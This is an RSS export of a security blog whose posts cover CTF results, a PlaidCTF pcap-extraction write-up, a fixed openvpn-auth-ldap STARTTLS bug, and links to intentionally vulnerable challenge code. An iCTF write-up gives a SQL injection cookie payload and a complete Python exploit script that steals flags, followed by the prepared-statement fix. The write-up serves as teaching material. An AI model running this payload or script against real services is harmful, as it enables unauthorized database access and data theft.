<?xml version="1.0" encoding="utf-8" ?>

<rss version="2.0" 
   xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
   xmlns:admin="http://webns.net/mvcb/"
   xmlns:dc="http://purl.org/dc/elements/1.1/"
   xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
   xmlns:wfw="http://wellformedweb.org/CommentAPI/"
   xmlns:content="http://purl.org/rss/1.0/modules/content/"
   >
<channel>
    
    <title>Sqall Blog</title>
    <link>http://h4des.org/blog/</link>
    <description>&quot;Wenn du einen Traum hast, dann musst du für ihn einstehen. Wenn andere 'was nicht können, dann sagen sie dir du kannst es auch nicht. Wenn du 'was willst, dann nimm es dir. Punkt.&quot;</description>
    <dc:language>de</dc:language>
    <generator>Serendipity 1.6.2 - http://www.s9y.org/</generator>
    <pubDate>Mon, 30 Apr 2012 10:12:41 GMT</pubDate>

    <image>
        <url>http://h4des.org/blog/templates/default/img/s9y_banner_small.png</url>
        <title>RSS: Sqall Blog - &quot;Wenn du einen Traum hast, dann musst du für ihn einstehen. Wenn andere 'was nicht können, dann sagen sie dir du kannst es auch nicht. Wenn du 'was willst, dann nimm es dir. Punkt.&quot;</title>
        <link>http://h4des.org/blog/</link>
        <width>100</width>
        <height>21</height>
    </image>

<item>
    <title>PlaidCtf 2012 write up - Torrent (200)</title>
    <link>http://h4des.org/blog/index.php?/archives/325-PlaidCtf-2012-write-up-Torrent-200.html</link>
            <category>CTF</category>
    
    <comments>http://h4des.org/blog/index.php?/archives/325-PlaidCtf-2012-write-up-Torrent-200.html#comments</comments>
    <wfw:comment>http://h4des.org/blog/wfwcomment.php?cid=325</wfw:comment>

    <slash:comments>1</slash:comments>
    <wfw:commentRss>http://h4des.org/blog/rss.php?version=2.0&amp;type=comments&amp;cid=325</wfw:commentRss>
    

    <author>nospam@example.com (sqall)</author>
    <content:encoded>
    The &quot;Torrent&quot; challenge in the PlaidCTF 2012:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;It turns out that robots, like humans, are cheap and do not like paying for their movies and music. We were able to intercept some torrent downloads but are unsure what the file being downloaded was. Can you figure it out?&lt;/blockquote&gt;&lt;br /&gt;
&lt;br /&gt;
All you got was a pcap dump file with torrent data traffic. With a little bit google searching and tshark we could extract the data.&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;tshark -r torrent.pcap -R &#039;bittorrent.piece.data and ip.dst_host == 128.237.112.101&#039; -T fields -e bittorrent.piece.index -e bittorrent.piece.begin -e bittorrent.piece.data -E separator=_ &gt; dump.txt&lt;/blockquote&gt;&lt;br /&gt;
&lt;br /&gt;
The dump.txt looks like the following: INDEX_PIECEBEGIN_DATA. The data was stored as HEX values separated via &quot;:&quot;. Now some dirty ctf python coding was doing the trick and gave us the transferred file:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;&lt;br /&gt;
from operator import itemgetter&lt;br /&gt;
import binascii&lt;br /&gt;
&lt;br /&gt;
content = []&lt;br /&gt;
with open(&#039;dump.txt&#039;, &#039;r&#039;) as f:&lt;br /&gt;
 for line in f:&lt;br /&gt;
   idx, begin, data = line.strip().split(&#039;_&#039;)&lt;br /&gt;
   content.append([int(idx[2:], 16),int(begin, 16), data.replace(&quot;:&quot;,&quot;&quot;)])&lt;br /&gt;
&lt;br /&gt;
content = sorted(content, key = itemgetter(0))&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
result = &quot;&quot;&lt;br /&gt;
i=0&lt;br /&gt;
while i &lt; len(content):&lt;br /&gt;
 if content[i][1] == 0:&lt;br /&gt;
   result += content[i][2]&lt;br /&gt;
   result += content[i+1][2]&lt;br /&gt;
 else:&lt;br /&gt;
   result += content[i+1][2]&lt;br /&gt;
   result += content[i][2]&lt;br /&gt;
 i += 2&lt;br /&gt;
&lt;br /&gt;
print binascii.unhexlify(result)&lt;br /&gt;
&lt;/blockquote&gt; &lt;br /&gt;
&lt;br /&gt;
We executed the script and saved the output in a file. The &quot;file&quot; command showed us, that this file was a bzipped file:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;&lt;br /&gt;
sqall@pctf:~/Desktop/pctf/Torrents/content file result &lt;br /&gt;
result: bzip2 compressed data, block size = 900k&lt;br /&gt;
&lt;/blockquote&gt;&lt;br /&gt;
&lt;br /&gt;
Unzipping it revealed a key.txt and a key.mp3. In the key.txt was the key (I loled when I read this &lt;img src=&quot;http://h4des.org/blog/templates/default/img/emoticons/wink.png&quot; alt=&quot;;-)&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt; ):&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;t0renz0_v0n_m4tt3rh0rn&lt;/blockquote&gt; 
    </content:encoded>

    <pubDate>Mon, 30 Apr 2012 09:19:55 +0200</pubDate>
    <guid isPermaLink="false">http://h4des.org/blog/index.php?/archives/325-guid.html</guid>
    
</item>
<item>
    <title>PlaidCTF 2012: FluxFingers 6th place of over 700 teams</title>
    <link>http://h4des.org/blog/index.php?/archives/324-PlaidCTF-2012-FluxFingers-6th-place-of-over-700-teams.html</link>
            <category>CTF</category>
    
    <comments>http://h4des.org/blog/index.php?/archives/324-PlaidCTF-2012-FluxFingers-6th-place-of-over-700-teams.html#comments</comments>
    <wfw:comment>http://h4des.org/blog/wfwcomment.php?cid=324</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://h4des.org/blog/rss.php?version=2.0&amp;type=comments&amp;cid=324</wfw:commentRss>
    

    <author>nospam@example.com (sqall)</author>
    <content:encoded>
    This weekend the FluxFingers and I we were participating in the PlaidCTF 2012. We played this CTF for 48h and finally we got the 6th place (of over 700 teams). Thanks to the organizers for such a nice CTF with a lot of good challenges. Unfortunately the great idea with a browser RPG didn&#039;t use it full potential. Perhaps next year. Thanks again &lt;img src=&quot;http://h4des.org/blog/templates/default/img/emoticons/smile.png&quot; alt=&quot;:-)&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt; 
    </content:encoded>

    <pubDate>Mon, 30 Apr 2012 09:01:36 +0200</pubDate>
    <guid isPermaLink="false">http://h4des.org/blog/index.php?/archives/324-guid.html</guid>
    
</item>
<item>
    <title>openvpn-auth-ldap STARTTLS and authentication bug finally fixed</title>
    <link>http://h4des.org/blog/index.php?/archives/323-openvpn-auth-ldap-STARTTLS-and-authentication-bug-finally-fixed.html</link>
            <category>security</category>
    
    <comments>http://h4des.org/blog/index.php?/archives/323-openvpn-auth-ldap-STARTTLS-and-authentication-bug-finally-fixed.html#comments</comments>
    <wfw:comment>http://h4des.org/blog/wfwcomment.php?cid=323</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://h4des.org/blog/rss.php?version=2.0&amp;type=comments&amp;cid=323</wfw:commentRss>
    

    <author>nospam@example.com (sqall)</author>
    <content:encoded>
    Over a year ago I found a bug in the openvpn-auth-ldap module (bug report and patch for debian &lt;a href=&quot;http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=610339&quot; title=&quot;http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=610339&quot;&gt;here&lt;/a&gt; and an explanation on my blog in german &lt;a href=&quot;http://h4des.org/blog/index.php?/archives/299-bugfix-openvpn-auth-ldap-Verschluesselung-bevor-Authentifizierung.html&quot; title=&quot;http://h4des.org/blog/index.php?/archives/299-bugfix-openvpn-auth-ldap-Verschluesselung-bevor-Authentifizierung.html&quot;&gt;here&lt;/a&gt;).&lt;br /&gt;
&lt;br /&gt;
Yesterday I got an eMail that this bug report is now fixed and closed.&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;We believe that the bug you reported is fixed in the latest version of&lt;br /&gt;
openvpn-auth-ldap, which is due to be installed in the Debian FTP archive:&lt;br /&gt;
&lt;br /&gt;
openvpn-auth-ldap_2.0.3-2.debian.tar.gz&lt;br /&gt;
  to main/o/openvpn-auth-ldap/openvpn-auth-ldap_2.0.3-2.debian.tar.gz&lt;br /&gt;
openvpn-auth-ldap_2.0.3-2.dsc&lt;br /&gt;
  to main/o/openvpn-auth-ldap/openvpn-auth-ldap_2.0.3-2.dsc&lt;br /&gt;
openvpn-auth-ldap_2.0.3-2_i386.deb&lt;br /&gt;
  to main/o/openvpn-auth-ldap/openvpn-auth-ldap_2.0.3-2_i386.deb&lt;br /&gt;
&lt;br /&gt;
A summary of the changes between this version and the previous one is&lt;br /&gt;
attached.&lt;br /&gt;
&lt;br /&gt;
[...]&lt;br /&gt;
&lt;br /&gt;
Changes: &lt;br /&gt;
 openvpn-auth-ldap (2.0.3-2) unstable; urgency=low&lt;br /&gt;
 .&lt;br /&gt;
   - Acknowledge Matthias Klose&#039;s NMU for #625146.&lt;br /&gt;
   - patched/STARTTLS_before_auth.patch: Run STARTTLS before authenticatingi&lt;br /&gt;
     to the LDAP server. Thanks Andre Pawlowski for finding this and the fix.&lt;br /&gt;
     (Closes: #610339)&lt;br /&gt;
   - debian/control: added Homepage field, added autotools-dev Build-Dep&lt;br /&gt;
   - Added debian/source/format&lt;br /&gt;
   - Added debian/watch&lt;br /&gt;
[...]&lt;/blockquote&gt;&lt;br /&gt;
&lt;br /&gt;
I have to say, it took a long time and I&#039;m already forgot about the report (because I used a self compiled version of it with the fix). But I&#039;m glad it&#039;s finally fixed, because I saw this module in a lot of environments used and the admins I talked to didn&#039;t know about this behavior of this module (and never would find out because they allowed anonymous access to their OpenLDAP system). 
    </content:encoded>

    <pubDate>Wed, 22 Feb 2012 09:34:48 +0100</pubDate>
    <guid isPermaLink="false">http://h4des.org/blog/index.php?/archives/323-guid.html</guid>
    
</item>
<item>
    <title>Challenge: MozillaCTF 2012 IP Panel (250)</title>
    <link>http://h4des.org/blog/index.php?/archives/322-Challenge-MozillaCTF-2012-IP-Panel-250.html</link>
            <category>CTF</category>
            <category>netculture</category>
            <category>security</category>
    
    <comments>http://h4des.org/blog/index.php?/archives/322-Challenge-MozillaCTF-2012-IP-Panel-250.html#comments</comments>
    <wfw:comment>http://h4des.org/blog/wfwcomment.php?cid=322</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://h4des.org/blog/rss.php?version=2.0&amp;type=comments&amp;cid=322</wfw:commentRss>
    

    <author>nospam@example.com (sqall)</author>
    <content:encoded>
    Some weeks ago you were able to play the MozillaCTF 2012. Some FluxFingers helped to organize it and so I wrote a web challenge for it. I don&#039;t know if the challenges are still available and playable and so I decided to publish this challenge here. Because this website is obviously vulnerable you have to &lt;a href=&quot;http://h4des.org/source/challenges/mozilla_ctf2012/ip_panel.tar.gz&quot; title=&quot;http://h4des.org/source/challenges/mozilla_ctf2012/ip_panel.tar.gz&quot;&gt;download and set it up&lt;/a&gt; for yourself.&lt;br /&gt;
&lt;br /&gt;
When you unzip the archive, you get three files. Copy these files into a directory under your webroot and then you are ready to go!&lt;br /&gt;
&lt;br /&gt;
Notice that this web challenge has some rules:&lt;br /&gt;
- don&#039;t look in the source code (this challenge should be solved without knowing the source)&lt;br /&gt;
- the flag file and parser.sh are not directly accessible (originally the webserver denies any attempt to open these files directly with your browser)&lt;br /&gt;
&lt;br /&gt;
Have fun &lt;img src=&quot;http://h4des.org/blog/templates/default/img/emoticons/smile.png&quot; alt=&quot;:-)&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;Exploit Mozillas IP Panel! This IP Panel is used for whitelisting IP addresses. We know that the webinterface will call a bash script that will execute an iptables command without validation. Find the flag and submit it!&lt;/blockquote&gt;&lt;br /&gt;
&lt;br /&gt;
A write-up for this challenge can be found &lt;a href=&quot;http://forbiddenbits.net/mozillactf-17-ip-panel-writeup/&quot; title=&quot;http://forbiddenbits.net/mozillactf-17-ip-panel-writeup/&quot;&gt;here&lt;/a&gt;. 
    </content:encoded>

    <pubDate>Sun, 12 Feb 2012 13:48:33 +0100</pubDate>
    <guid isPermaLink="false">http://h4des.org/blog/index.php?/archives/322-guid.html</guid>
    
</item>
<item>
    <title>Challenge: hack.lu CTF 2011 Spy Aboard! (300)</title>
    <link>http://h4des.org/blog/index.php?/archives/321-Challenge-hack.lu-CTF-2011-Spy-Aboard!-300.html</link>
            <category>CTF</category>
            <category>netculture</category>
            <category>security</category>
    
    <comments>http://h4des.org/blog/index.php?/archives/321-Challenge-hack.lu-CTF-2011-Spy-Aboard!-300.html#comments</comments>
    <wfw:comment>http://h4des.org/blog/wfwcomment.php?cid=321</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://h4des.org/blog/rss.php?version=2.0&amp;type=comments&amp;cid=321</wfw:commentRss>
    

    <author>nospam@example.com (sqall)</author>
    <content:encoded>
    Last year the FluxFingers organized the &lt;a href=&quot;http://2011.hack.lu/index.php/Main_Page&quot; title=&quot;http://2011.hack.lu/index.php/Main_Page&quot;&gt;hack.lu 2011&lt;/a&gt; CTF. Some weeks ago I read an eMail on the FluxFingers eMail account, that the server with all challenges is down.&lt;br /&gt;
&lt;br /&gt;
I don&#039;t know if we find a mirror, where we can set up a VM for all challenges, so I would like to publish my challenge for this CTF here. Notice that this was the first time I wrote a challenge for a CTF and the first time I coded something with python. Therefore, the code isn&#039;t such a beauty &lt;img src=&quot;http://h4des.org/blog/templates/default/img/emoticons/wink.png&quot; alt=&quot;;-)&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;Spy aboard!&lt;br /&gt;
We have a spy aboard! Around 5 minutes ago we intercepted an encrypted transmission to an enemy outpost. It seems like we interrupted the mole in the act because&lt;br /&gt;
we found an open transmission program on our terminals. We are 100% sure that he sent the position of our fleet to the outpost to plan an attack against us. Our position &lt;br /&gt;
at the time of the transmission was:&lt;br /&gt;
&lt;br /&gt;
position: Harcon System , Planet Crematoria , x: 129.23432231423 degrees y: 111.13442353423 degrees , z: 100,13142234423 degrees&lt;br /&gt;
&lt;br /&gt;
We need the spies authorization code to prevent this attack. You as our crypto expert you have to find it! The survival of 10000 brave men, women and children depends on you!!!&lt;br /&gt;
GOOD LUCK!&lt;/blockquote&gt;&lt;br /&gt;
&lt;a href=&quot;http://h4des.org/source/challenges/hacklu2011/spy_aboard.tar.gz&quot; title=&quot;http://h4des.org/source/challenges/hacklu2011/spy_aboard.tar.gz&quot;&gt;download challenge here&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
A write-up for this challenge can be found on the &lt;a href=&quot;http://leetmore.ctf.su/wp/hack-lu-ctf-2011-spy-aboard-300/&quot; title=&quot;http://leetmore.ctf.su/wp/hack-lu-ctf-2011-spy-aboard-300/&quot;&gt;website of Leet More&lt;/a&gt;. 
    </content:encoded>

    <pubDate>Sun, 12 Feb 2012 13:25:57 +0100</pubDate>
    <guid isPermaLink="false">http://h4des.org/blog/index.php?/archives/321-guid.html</guid>
    
</item>
<item>
    <title>ictf 2011 - write up sendalert</title>
    <link>http://h4des.org/blog/index.php?/archives/320-ictf-2011-write-up-sendalert.html</link>
            <category>CTF</category>
            <category>netculture</category>
            <category>security</category>
    
    <comments>http://h4des.org/blog/index.php?/archives/320-ictf-2011-write-up-sendalert.html#comments</comments>
    <wfw:comment>http://h4des.org/blog/wfwcomment.php?cid=320</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://h4des.org/blog/rss.php?version=2.0&amp;type=comments&amp;cid=320</wfw:commentRss>
    

    <author>nospam@example.com (sqall)</author>
    <content:encoded>
    I know. It&#039;s a little bit late. But our team have to write these write ups for the ictf2011 organizers and I wrote it today for the sendalert service.&lt;br /&gt;
&lt;br /&gt;
The service sendalert was a python webservice running on port 11111 which does …ahm ... seriously I don&#039;t know. The service got a login form and the game server constantly created new users. It uses a sqlite database which was located under “/home/sendalert/database”. The gameserver saved the flags in this database in the table “users” in the column “data”. The program used prepared sql statements for all but one query. This query was vulnerable for a sql injection. The python code for this query was in the “status” section:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;cur.execute(&quot;&quot;&quot;select username, data from users where session=&#039;%s&#039;&quot;&quot;&quot;  % session)&lt;/blockquote&gt;&lt;br /&gt;
&lt;br /&gt;
The problem with this query was, that the same session have to be saved in the database before you can use it to exploit the service. So first of all we need a registered user. When we register a user we can see in the python code that the service will give us the fix session “-”.&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;session = &quot;-&quot; &lt;br /&gt;
cur.execute(&quot;&quot;&quot;insert into users (username, password, session) values (?,?,?);&quot;&quot;&quot;, (username, password, session))&lt;/blockquote&gt;&lt;br /&gt;
&lt;br /&gt;
Now we have to find a way to change this session value. The only update query that alters the session lies in the depth of the login mechanism.&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;            session = self.auth() &lt;br /&gt;
            if session == None or session == &quot;&quot; or session == &quot;-&quot; or session == &quot;None&quot;: &lt;br /&gt;
                cookie = self.headers.getheaders(&#039;Cookie&#039;) &lt;br /&gt;
               if cookie != None and len(cookie) != 0: &lt;br /&gt;
                    session = None &lt;br /&gt;
                    morsels = cookie[0].split(&quot;;&quot;); &lt;br /&gt;
                    self.logger.debug(&quot;Parsed cookie: %s&quot; % str(morsels)) &lt;br /&gt;
                    for m in morsels: &lt;br /&gt;
                        (var, val) = m.strip().split(&#039;=&#039;) &lt;br /&gt;
                        if var == self.cookie_name: &lt;br /&gt;
                            session = val &lt;br /&gt;
                            break; &lt;br /&gt;
                else: &lt;br /&gt;
                    self.logger.debug(&quot;Session is missing, creating one (%s)&quot; % str(session)) &lt;br /&gt;
                    md5 = hashlib.md5() &lt;br /&gt;
                    md5.update(str(time.time()) + username + password + self.secret) &lt;br /&gt;
                    session = md5.hexdigest()&lt;br /&gt;
[...]&lt;br /&gt;
cur.execute(&quot;&quot;&quot;update users set session=? where username=? and password=?&quot;&quot;&quot;, (session, username, password))&lt;/blockquote&gt;&lt;br /&gt;
&lt;br /&gt;
Here we can see that if we log in with a valid user-password pair the service will read the “Cookie” value from our request and if it is set, it will change the session in the database to this value. If it is not set, a md5 hash will be generated for the session. The only thing we have to circumvent is the split for “=”.&lt;br /&gt;
&lt;br /&gt;
So finally we create a user and log in. Before we log in we set our “Cookie” value to:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;alertsession=&#039; or 1&lt;&gt;2 order by data desc ---&lt;/blockquote&gt;&lt;br /&gt;
&lt;br /&gt;
(“alertsession=” is used by the service as a prefix in every session). Now we have changed our session value in the database to&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;alertsession=&#039; or 1&lt;&gt;2 order by data desc ---&lt;/blockquote&gt;&lt;br /&gt;
&lt;br /&gt;
and we can exploit the service.&lt;br /&gt;
&lt;br /&gt;
When we now request the page “status” from the web server with our cookie we inject the sql query mentioned in the beginning of this write up. The query will look like&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;select username, data from users where session=&#039;alertsession=&#039; or 1&lt;&gt;2 order by data desc ---&#039;&lt;/blockquote&gt;&lt;br /&gt;
&lt;br /&gt;
and finally we got the newest flag written on the web site.&lt;br /&gt;
&lt;br /&gt;
A python script that will do all the magic for us looks like:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;#!/usr/bin/python &lt;br /&gt;
&lt;br /&gt;
import httplib &lt;br /&gt;
import urllib &lt;br /&gt;
import sys &lt;br /&gt;
&lt;br /&gt;
ip = sys.argv[1] &lt;br /&gt;
&lt;br /&gt;
#http://10.13.187.3:11111/status &lt;br /&gt;
host = &quot;%s:11111&quot; % ip &lt;br /&gt;
cookie = &quot;alertsession=&#039; or 1&lt;&gt;2 order by data desc ---&quot; &lt;br /&gt;
&lt;br /&gt;
try: &lt;br /&gt;
	#username=fluxfingers&amp;password=fluxfingersRules&amp;submit=Register &lt;br /&gt;
	params = urllib.urlencode({&#039;username&#039;: &#039;fluxfingers&#039;, &#039;password&#039;: &#039;fluxfingersRules&#039;, &#039;submit&#039;: &#039;Register&#039;}) &lt;br /&gt;
	headers = {&quot;Content-type&quot;: &quot;application/x-www-form-urlencoded&quot;, &quot;Accept&quot;: &quot;text/plain&quot;} &lt;br /&gt;
	conn = httplib.HTTPConnection(host) &lt;br /&gt;
	conn.request(&quot;POST&quot;, &quot;/register&quot;, params, headers)	 &lt;br /&gt;
	response = conn.getresponse() &lt;br /&gt;
&lt;br /&gt;
	params = urllib.urlencode({&#039;username&#039;: &#039;fluxfingers&#039;, &#039;password&#039;: &#039;fluxfingersRules&#039;, &#039;submit&#039;: &#039;Login&#039;}) &lt;br /&gt;
	headers = {&quot;Content-type&quot;: &quot;application/x-www-form-urlencoded&quot;, &quot;Accept&quot;: &quot;text/plain&quot;, &quot;Cookie&quot;: cookie} &lt;br /&gt;
	conn = httplib.HTTPConnection(host) &lt;br /&gt;
	conn.request(&quot;POST&quot;, &quot;/login&quot;, params, headers)	 &lt;br /&gt;
	response = conn.getresponse() &lt;br /&gt;
&lt;br /&gt;
	headers = {&quot;Content-type&quot;: &quot;application/x-www-form-urlencoded&quot;, &quot;Accept&quot;: &quot;text/plain&quot;, &quot;Cookie&quot;: cookie} &lt;br /&gt;
	params = &quot;&quot; &lt;br /&gt;
	conn = httplib.HTTPConnection(host) &lt;br /&gt;
	conn.request(&quot;GET&quot;, &quot;/status&quot;, params, headers) &lt;br /&gt;
	response = conn.getresponse() &lt;br /&gt;
	data = response.read() &lt;br /&gt;
except: &lt;br /&gt;
	sys.exit(0) &lt;br /&gt;
&lt;br /&gt;
positionstart = data.find(&quot;Subject: &quot;) &lt;br /&gt;
positionend = data.find(&quot;&lt;/p&gt;&quot;,positionstart) &lt;br /&gt;
print data[positionstart+9:positionend] &lt;br /&gt;
&lt;br /&gt;
conn.close()&lt;/blockquote&gt;&lt;br /&gt;
&lt;br /&gt;
To fix this issue you just have to change the line &lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;cur.execute(&quot;&quot;&quot;select username, data from users where session=&#039;%s&#039;&quot;&quot;&quot;  % session)&lt;/blockquote&gt;&lt;br /&gt;
&lt;br /&gt;
to&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;cur.execute(&quot;&quot;&quot;select username, data from users where session=?&quot;&quot;&quot; , (session, ))&lt;/blockquote&gt;&lt;br /&gt;
&lt;br /&gt;
Now it uses prepared statements like the other queries. 
    </content:encoded>

    <pubDate>Sat, 17 Dec 2011 18:33:52 +0100</pubDate>
    <guid isPermaLink="false">http://h4des.org/blog/index.php?/archives/320-guid.html</guid>
    
</item>
<item>
    <title>iCTF 2011 - FluxFingers 3rd place</title>
    <link>http://h4des.org/blog/index.php?/archives/319-iCTF-2011-FluxFingers-3rd-place.html</link>
            <category>CTF</category>
            <category>netculture</category>
            <category>security</category>
    
    <comments>http://h4des.org/blog/index.php?/archives/319-iCTF-2011-FluxFingers-3rd-place.html#comments</comments>
    <wfw:comment>http://h4des.org/blog/wfwcomment.php?cid=319</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://h4des.org/blog/rss.php?version=2.0&amp;type=comments&amp;cid=319</wfw:commentRss>
    

    <author>nospam@example.com (sqall)</author>
    <content:encoded>
    Yesterday my team and I made the 3rd place at the &lt;a href=&quot;http://scoreboard.ictf2011.info/&quot; title=&quot;http://scoreboard.ictf2011.info/&quot;&gt;iCTF 2011&lt;/a&gt;. This time it was a real complicated CTF about money laundry, with really complicated rules. In the week before the ctf starts, some of us worked real hard to code a riskmanager program, that will decide how to use the flags and submit it. Until 4h before the ctf ends, it didn&#039;t work and we were on places around 40th. But finally we ended up on the 3rd place &lt;img src=&quot;http://h4des.org/blog/templates/default/img/emoticons/smile.png&quot; alt=&quot;:-)&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a class=&quot;serendipity_image_link&quot;  href=&#039;http://h4des.org/blog/uploads/ictf2011_scoreboard_final.png&#039;&gt;&lt;!-- s9ymdb:59 --&gt;&lt;img class=&quot;serendipity_image_left&quot; width=&quot;110&quot; height=&quot;49&quot;  src=&quot;http://h4des.org/blog/uploads/ictf2011_scoreboard_final.serendipityThumb.png&quot;  alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;a class=&quot;serendipity_image_link&quot;  href=&#039;http://h4des.org/blog/uploads/ictf2011_graph_final.png&#039;&gt;&lt;!-- s9ymdb:60 --&gt;&lt;img class=&quot;serendipity_image_left&quot; width=&quot;110&quot; height=&quot;31&quot;  src=&quot;http://h4des.org/blog/uploads/ictf2011_graph_final.serendipityThumb.png&quot;  alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Congrats More Smoked Leet Chicken (2nd) and We_0wn_Y0u (1st). Thanks to the iCTF team for this (sometimes really frustrating) ctf.&lt;br /&gt;
&lt;br /&gt;
&lt;a class=&quot;serendipity_image_link&quot;  href=&#039;http://h4des.org/blog/uploads/ictf2011_meal.jpg&#039;&gt;&lt;!-- s9ymdb:58 --&gt;&lt;img class=&quot;serendipity_image_left&quot; width=&quot;110&quot; height=&quot;83&quot;  src=&quot;http://h4des.org/blog/uploads/ictf2011_meal.serendipityThumb.jpg&quot;  alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
And last but not least, our thanks goes to the US government, which makes this ctf the first ctf with healthy meal &lt;img src=&quot;http://h4des.org/blog/templates/default/img/emoticons/wink.png&quot; alt=&quot;;-)&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt; 
    </content:encoded>

    <pubDate>Sat, 03 Dec 2011 12:26:34 +0100</pubDate>
    <guid isPermaLink="false">http://h4des.org/blog/index.php?/archives/319-guid.html</guid>
    
</item>
<item>
    <title>FluxFingers made the 2nd place at RuCTFE 2011</title>
    <link>http://h4des.org/blog/index.php?/archives/318-FluxFingers-made-the-2nd-place-at-RuCTFE-2011.html</link>
            <category>CTF</category>
            <category>netculture</category>
            <category>security</category>
    
    <comments>http://h4des.org/blog/index.php?/archives/318-FluxFingers-made-the-2nd-place-at-RuCTFE-2011.html#comments</comments>
    <wfw:comment>http://h4des.org/blog/wfwcomment.php?cid=318</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://h4des.org/blog/rss.php?version=2.0&amp;type=comments&amp;cid=318</wfw:commentRss>
    

    <author>nospam@example.com (sqall)</author>
    <content:encoded>
    Yesterday my team and I participate in the &lt;a href=&quot;http://monitor.e.ructf.org/scoreboard.xml&quot; title=&quot;http://monitor.e.ructf.org/scoreboard.xml&quot;&gt;RuCTFE 2011&lt;/a&gt;. We made the 2nd place (like last year). Congrats to 0ldEur0pe that made the 1st place (also like last year). It was frustrating to see how 0ldEur0pe slowly but steady caught us up in the end of the CTF &lt;img src=&quot;http://h4des.org/blog/templates/default/img/emoticons/sad.png&quot; alt=&quot;:-(&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a class=&quot;serendipity_image_link&quot;  href=&#039;http://h4des.org/blog/uploads/ructfe2011_scoreboard_final.png&#039;&gt;&lt;!-- s9ymdb:57 --&gt;&lt;img width=&quot;110&quot; height=&quot;69&quot;  src=&quot;http://h4des.org/blog/uploads/ructfe2011_scoreboard_final.serendipityThumb.png&quot;  alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Thanks goes to the RuCTFE team that made again a very good CTF (RuCTFE is always one of my favorites and I can&#039;t wait to RuCTFE 2012 &lt;img src=&quot;http://h4des.org/blog/templates/default/img/emoticons/wink.png&quot; alt=&quot;;-)&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt; ). It was a lot of fun and once again we learned a lot. Thank you! 
    </content:encoded>

    <pubDate>Sun, 20 Nov 2011 11:34:12 +0100</pubDate>
    <guid isPermaLink="false">http://h4des.org/blog/index.php?/archives/318-guid.html</guid>
    
</item>
<item>
    <title>quick guide: replacing failed hdd in linux software raid</title>
    <link>http://h4des.org/blog/index.php?/archives/317-quick-guide-replacing-failed-hdd-in-linux-software-raid.html</link>
            <category>linux</category>
            <category>security</category>
    
    <comments>http://h4des.org/blog/index.php?/archives/317-quick-guide-replacing-failed-hdd-in-linux-software-raid.html#comments</comments>
    <wfw:comment>http://h4des.org/blog/wfwcomment.php?cid=317</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://h4des.org/blog/rss.php?version=2.0&amp;type=comments&amp;cid=317</wfw:commentRss>
    

    <author>nospam@example.com (sqall)</author>
    <content:encoded>
    Today another type of data security.&lt;br /&gt;
&lt;br /&gt;
One day ago a HDD failed in my software RAID 1 system. Today I replaced it and here is a quick guide for doing it:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;&lt;br /&gt;
&lt;strong&gt;1. locating defect HDD:&lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
okean0s:/home/sqall# cat /proc/mdstat    &lt;br /&gt;
md1 : active raid1 sda[0] sdb[2](F)&lt;br /&gt;
      244198464 blocks [2/1] [U_]&lt;br /&gt;
&lt;br /&gt;
---&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;2. getting serial number:&lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
okean0s:/home/sqall# smartctl -i /dev/sdb&lt;br /&gt;
smartctl 5.40 2010-07-12 r3124 [x86_64-unknown-linux-gnu] (local build)&lt;br /&gt;
